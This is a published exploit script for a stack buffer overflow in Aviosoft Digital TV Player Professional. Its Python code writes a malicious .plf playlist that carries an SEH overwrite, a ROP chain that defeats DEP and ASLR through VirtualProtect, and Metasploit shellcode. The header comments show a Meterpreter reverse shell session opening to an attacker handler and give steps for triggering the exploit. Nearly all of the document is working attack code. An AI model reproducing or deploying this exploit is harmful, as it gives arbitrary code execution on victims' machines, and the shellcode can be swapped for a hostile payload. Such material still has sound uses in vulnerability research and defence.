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# Exploit Title: Aviosoft Digital TV Player Professional 1.x Stack Buffer Overflow # Author: modpr0be # Software Download: http://www.aviosoft.com/download.php?product=dtvplayerpro # Date: 08/11/2011 # Tested on: Windows XP SP3, Windows 7 SP1 # Thanks: corelanc0d3r, cyb3r.anbu, otoy, sickness, 5m7x, loneferret, _sinn3r, mr_me # # msfexploit(handler) > exploit # # [*] Started reverse handler on 10.5.5.5:443 # [*] Starting the payload handler... # [*] Sending stage (752128 bytes) to 10.5.5.14 # [*] Meterpreter session 1 opened (10.5.5.5:443 -> 10.5.5.14:49592) at 2011-09-27 21:15:34 +0700 # # meterpreter > sysinfo # Computer: M1ABRAMS # OS: Windows 7 (Build 7601, Service Pack 1). # Architecture: x86 # System Language : en_US # Meterpreter : x86/win32 # meterpreter > # # but this time, it will pop up calc # How to: # open aviosoft digital tv player --> load playlist --> choose adtv_bof.plf --> calc # it's generated using mona.py with some modifications ;) thx corelanc0d3r #!/usr/bin/python import struct file = 'adtv_bof.plf' totalsize = 5000 junk = 'A' * 872 align = 'B' * 136 # aslr, dep bypass using pushad technique seh = struct.pack('<L', 0x6130534a) # ADD ESP,800 # RETN rop = struct.pack('<L', 0x61326003) * 10 # RETN (ROP NOP) rop+= struct.pack('<L', 0x6405347a) # POP EDX # RETN rop+= struct.pack('<L', 0x10011108) # ptr to &VirtualProtect() rop+= struct.pack('<L', 0x64010503) # PUSH EDX # POP EAX # POP ESI # RETN rop+= struct.pack('<L', 0x41414141) # Filler (compensate) rop+= struct.pack('<L', 0x6160949f) # MOV ECX,DWORD PTR DS:[EDX] # POP ESI rop+= struct.pack('<L', 0x41414141) * 3 # Filler (compensate) rop+= struct.pack('<L', 0x61604218) # PUSH ECX # ADD AL,5F # XOR EAX,EAX # POP ESI # RETN 0C rop+= struct.pack('<L', 0x41414141) * 3 # Filler (RETN offset compensation) rop+= struct.pack('<L', 0x6403d1a6) # POP EBP # RETN rop+= struct.pack('<L', 0x41414141) * 3 # Filler (RETN offset compensation) rop+= struct.pack('<L', 0x60333560) # & push esp #ret 0c rop+= struct.pack('<L', 0x61323EA8) # POP EAX # RETN rop+= struct.pack('<L', 0xA13977DF) # 0x00000343-> ebx rop+= struct.pack('<L', 0x640203fc) # ADD EAX,5EC68B64 # RETN rop+= struct.pack('<L', 0x6163d37b) # PUSH EAX # ADD AL,5E # POP EBX # RETN rop+= struct.pack('<L', 0x61626807) # XOR EAX,EAX # RETN rop+= struct.pack('<L', 0x640203fc) # ADD EAX,5EC68B64 # RETN rop+= struct.pack('<L', 0x6405347a) # POP EDX # RETN rop+= struct.pack('<L', 0xA13974DC) # 0x00000040-> edx rop+= struct.pack('<L', 0x613107fb) # ADD EDX,EAX # MOV EAX,EDX # RETN rop+= struct.pack('<L', 0x60326803) # POP ECX # RETN rop+= struct.pack('<L', 0x60350340) # &Writable location rop+= struct.pack('<L', 0x61329e07) # POP EDI # RETN rop+= struct.pack('<L', 0x61326003) # RETN (ROP NOP) rop+= struct.pack('<L', 0x60340178) # POP EAX # RETN rop+= struct.pack('<L', 0x90909090) # nop rop+= struct.pack('<L', 0x60322e02) # PUSHAD # RETN nop = '\x90' * 32 # windows/exec - 223 bytes # http://www.metasploit.com calc = ( "\xbf\x77\xbf\x23\x29\xdd\xc1\xd9\x74\x24\xf4\x58\x2b\xc9" "\xb1\x32\x31\x78\x12\x03\x78\x12\x83\xb7\xbb\xc1\xdc\xcb" "\x2c\x8c\x1f\x33\xad\xef\x96\xd6\x9c\x3d\xcc\x93\x8d\xf1" "\x86\xf1\x3d\x79\xca\xe1\xb6\x0f\xc3\x06\x7e\xa5\x35\x29" "\x7f\x0b\xfa\xe5\x43\x0d\x86\xf7\x97\xed\xb7\x38\xea\xec" "\xf0\x24\x05\xbc\xa9\x23\xb4\x51\xdd\x71\x05\x53\x31\xfe" "\x35\x2b\x34\xc0\xc2\x81\x37\x10\x7a\x9d\x70\x88\xf0\xf9" "\xa0\xa9\xd5\x19\x9c\xe0\x52\xe9\x56\xf3\xb2\x23\x96\xc2" "\xfa\xe8\xa9\xeb\xf6\xf1\xee\xcb\xe8\x87\x04\x28\x94\x9f" "\xde\x53\x42\x15\xc3\xf3\x01\x8d\x27\x02\xc5\x48\xa3\x08" "\xa2\x1f\xeb\x0c\x35\xf3\x87\x28\xbe\xf2\x47\xb9\x84\xd0" "\x43\xe2\x5f\x78\xd5\x4e\x31\x85\x05\x36\xee\x23\x4d\xd4" "\xfb\x52\x0c\xb2\xfa\xd7\x2a\xfb\xfd\xe7\x34\xab\x95\xd6" "\xbf\x24\xe1\xe6\x15\x01\x1d\xad\x34\x23\xb6\x68\xad\x76" "\xdb\x8a\x1b\xb4\xe2\x08\xae\x44\x11\x10\xdb\x41\x5d\x96" "\x37\x3b\xce\x73\x38\xe8\xef\x51\x5b\x6f\x7c\x39\x9c") sisa = 'C' * (totalsize - len(seh+rop+nop+calc)) payload = junk+seh+align+rop+nop+calc+sisa f = open(file,'w') print "Author: modpr0be" print "Payload size: ", len(payload) f.write(payload) print "File",file, "successfully created" f.close() |
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